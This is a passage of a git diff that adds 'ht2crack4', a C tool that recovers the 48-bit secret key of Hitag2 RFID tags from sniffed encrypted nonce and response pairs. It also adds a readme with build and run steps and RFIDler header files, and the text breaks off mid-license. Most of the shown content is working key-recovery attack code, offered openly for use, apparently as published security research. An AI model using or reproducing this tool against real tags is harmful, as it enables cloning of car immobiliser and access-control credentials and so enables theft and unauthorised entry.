20 }; + + +/* f20 is the same as hitag2_crypt except it works on the packed version + * of the state where all 20 relevant bits are squashed together */ +uint64_t f20(uint64_t y) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> (y & 0xf)) & 1; + bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */ +uint64_t packstate(uint64_t s) +{ + uint64_t packed; + + packed = pickbits2_2 (s, 2, 5); + packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4); + packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8); + packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12); + packed |= (pickbits1_2_1(s, 34, 43, 46) << 16); + + return packed; +} + + +/* create_guess_table mallocs the tables */ +void create_guess_table() +{ + guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize); + if (!guesses) { + printf("cannot malloc guess table\n"); + exit(1); + } +} + + +/* init the guess table by reading in the encrypted nR,aR values and + * setting the first 2^16 key guesses */ +void init_guess_table(char *filename, char *uidstr) +{ + unsigned int i, j; + FILE *fp; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + if (!guesses) { + printf("guesses is NULL\n"); + exit(1); + } + + // read uid + if (!strncmp(uidstr, "0x", 2)) { + uid = rev32(hexreversetoulong(uidstr + 2)); + } else { + uid = rev32(hexreversetoulong(uidstr)); + } + + + // read encrypted nonces and challenge response values + fp = fopen(filename, "r"); + if (!fp) { + printf("cannot open nRaR file\n"); + exit(1); + } + + num_nRaR = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", num_nRaR + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", num_nRaR + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff; + } else { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff; + } + num_nRaR++; + } + + fclose(fp); + fp = NULL; + + fprintf(stderr, "Loaded %d nRaR pairs\n", num_nRaR); + + // set key and copy in enc_nR and ks values + // set score to -1.0 to distinguish them from 0 scores + for (i=0; i<65536; i++) { + guesses[i].key = i; + guesses[i].score = -1.0; + for (j=0; j> (packed & 0xf)) & 1; + fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 0x02; + fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04; + fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08; + fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10; + + // mask to keep the full nibble bits + fncinput = fncinput & ((1l << (n / 4)) - 1); + + if ((n % 4) == 0) { + // only complete nibbles + prob = pfnc[(n / 4) - 1][fncinput]; + } else { + // one nibble is incomplete + if (n <= 16) { + // it's in the fnb area + nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]); + } else { + // it's in the final fna + nibprob1 = pfna[(n % 4) - 1][packed >> 16]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1)); + } + } + } else { + // n==20 + prob = f20(packed); + } + + if (b1) { + return prob; + } else { + return (1.0 - prob); + } +} + + +/* score is like bit_score but does multiple bit correlation. + * bit_score and then shift and then repeat, adding all + * bit_scores together until no bits remain. bit_scores are + * multiplied by the number of relevant bits in the scored state + * to give weight to more complete states. */ +double score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize) +{ + double sc, sc2; + + if ((size == 1) || (kssize == 1)) { + sc = bit_score(s, size, ks & 0x1); + return (sc * (packed_size[size] + 1)); + } else { + // I've introduced a weighting for each score to + // give more significance to bigger windows. + + sc = bit_score(s, size, ks & 0x1); + + // if a bit_score returns a probability of 0 then this can't be a winner + if (sc == 0.0) { + return 0.0; + } else { + + sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1); + + // if score returns a probability of 0 then this can't be a winner + if (sc2 == 0.0) { + return 0.0; + } else { + return (sc * (packed_size[size] + 1)) + sc2; + } + } + } +} + + +/* score_traces runs score for each encrypted nonce */ +void score_traces(struct guess *g, unsigned int size) +{ + uint64_t lfsr; + unsigned int i; + double sc; + double total_score = 0.0; + + // don't bother scoring traces that are already losers + if (g->score == 0.0) { + return; + } + + for (i=0; i> (size - 16)) | ((g->key << (48 - size)) ^ + ((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size))); + g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16)); + + // create lfsr - lower 16 bits are lower 16 bits of key + // bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream + lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16); + + sc = score(lfsr, size, nonces[i].ks, 32); + + // look out for losers + if (sc == 0.0) { + g->score = 0.0; + return; + } + total_score = total_score + sc; + } + + // save average score + g->score = total_score / num_nRaR; + +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +/* this was used in the non-threaded version */ +/* +void score_all_traces(unsigned int size) +{ + unsigned int i; + + for (i=0; istart; iend; i++) { + score_traces(&(guesses[i]), tdata->size); + } + + return NULL; +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +void score_all_traces(unsigned int size) +{ + pthread_t threads[NUM_THREADS]; + void *status; + struct thread_data tdata[NUM_THREADS]; + unsigned int i; + unsigned int chunk_size; + + chunk_size = num_guesses / NUM_THREADS; + + // create thread data + for (i=0; iscore < b1->score) { + return 1; + } else if (a1->score > b1->score) { + return -1; + } else { + return 0; + } +} + + +/* expand all guesses in first half of (sorted) table by + * copying them into the second half and extending the copied + * ones with an extra 1, leaving the first half with an extra 0 */ +void expand_guesses(unsigned int halfsize, unsigned int size) +{ + unsigned int i, j; + + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + fprintf(stderr, " guess=%012" PRIx64 ", num_guesses = %d, top score=%1.10f, min score=%1.10f\n", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score); + } +} + + +/* test function to make sure I know how the LFSR works */ +void testkey(uint64_t key) +{ + uint64_t i; + uint64_t b0to31 = 0; + uint64_t ks = 0; + uint64_t lfsr; + uint64_t nRxorkey; + Hitag_State hstate; + + printf("ORIG REFERENCE\n"); + hitag2_init(&hstate, key, uid, nonces[0].enc_nR); + printf("after init with key, uid, nR:\n"); + printstate(&hstate); + b0to31 = 0; + for (i=0; i<32; i++) { + b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31); + printstate(&hstate); + + printf("\n"); + + + printf("MY REFERENCE\n"); + // build initial lfsr + lfsr = uid | ((key & 0xffff) << 32); + b0to31 = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[0].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + printf("after init with key, uid, nR:\n"); + printf("lfsr =\t\t"); + printbin2(lfsr, 48); + printf("\n"); + + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff); + printf("lfsr = \t\t"); + printbin2(lfsr, 48); + printf("\n\n"); +} + + +/* test function to generate test data */ +void gen_bitstreams_testks(struct guess *g, uint64_t key) +{ + unsigned int i, j; + uint64_t nRxorkey, lfsr, ks; + + for (j=0; jb0to31[j] = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[j].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + ks = 0; + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]); + if (nonces[j].ks != ks) { + printf(" FAIL!\n"); + } + } +} + + +/* test function */ +void test() +{ + uint64_t lfsr; + uint64_t packed; + + uint64_t i; + + + for (i=0; i<1000; i++) { + lfsr = ((uint64_t)rand() << 32) | rand(); + packed = packstate(lfsr); + + if (hitag2_crypt(lfsr) != f20(packed)) { + printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %d, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed)); + } + } + + printf("test done\n"); +} + + +/* check_key tests the potential key against an encrypted nonce, ks pair */ +int check_key(uint64_t key, uint64_t enc_nR, uint64_t ks) +{ + Hitag_State hstate; + uint64_t bits; + int i; + + hitag2_init(&hstate, key, uid, enc_nR); + bits = 0; + for (i=0; i<32; i++) { + bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + if (ks == bits) { + return 1; + } else { + return 0; + } +} + + +/* start up */ +int main(int argc, char *argv[]) +{ + unsigned int i; + uint64_t revkey; + uint64_t foundkey; + int tot_nRaR = 0; + char c; + char *uidstr = NULL; + char *noncefilestr = NULL; + +// test(); +// exit(0); + + while ((c = getopt(argc, argv, "u:n:N:t:T:h")) != -1) { + switch(c) { + case 'u': + uidstr = optarg; + break; + case 'n': + noncefilestr = optarg; + break; + case 'N': + tot_nRaR = atoi(optarg); + break; + case 't': + maxtablesize = atoi(optarg); + break; + case 'T': + supplied_testkey = rev64(hexreversetoulonglong(optarg)); + break; + case 'h': + usage(); + break; + default: + usage(); + } + } + + if (!uidstr || !noncefilestr || (maxtablesize <= 0)) { + usage(); + } + + create_guess_table(); + + init_guess_table(noncefilestr, uidstr); + + if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) { + num_nRaR = tot_nRaR; + } + fprintf(stderr, "Using %d nRaR pairs\n", num_nRaR); + + crack(); + + // test all key guesses and stop if one works + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("key = %012" PRIX64 "\n", foundkey); + exit(0); + } + } + + printf("FAIL :( - none of the potential keys in the table are correct.\n"); + exit(1); + return 0; +} + + + diff --git a/tools/hitag2crack/crack4/readme.md b/tools/hitag2crack/crack4/readme.md new file mode 100644 index 000000000..a906700b1 --- /dev/null +++ b/tools/hitag2crack/crack4/readme.md @@ -0,0 +1,29 @@ +ht2crack4 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 16 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size] + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. +The number of nonces to use allows you to use less than 32 nonces to increase +speed. +The table size can be tweaked for speed. Start with 500000 and double it each +time it fails to find the key. + + diff --git a/tools/hitag2crack/crack4/rfidler.h b/tools/hitag2crack/crack4/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack4/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack4/util.h b/tools/hitag2crack/crack4/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack4/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler 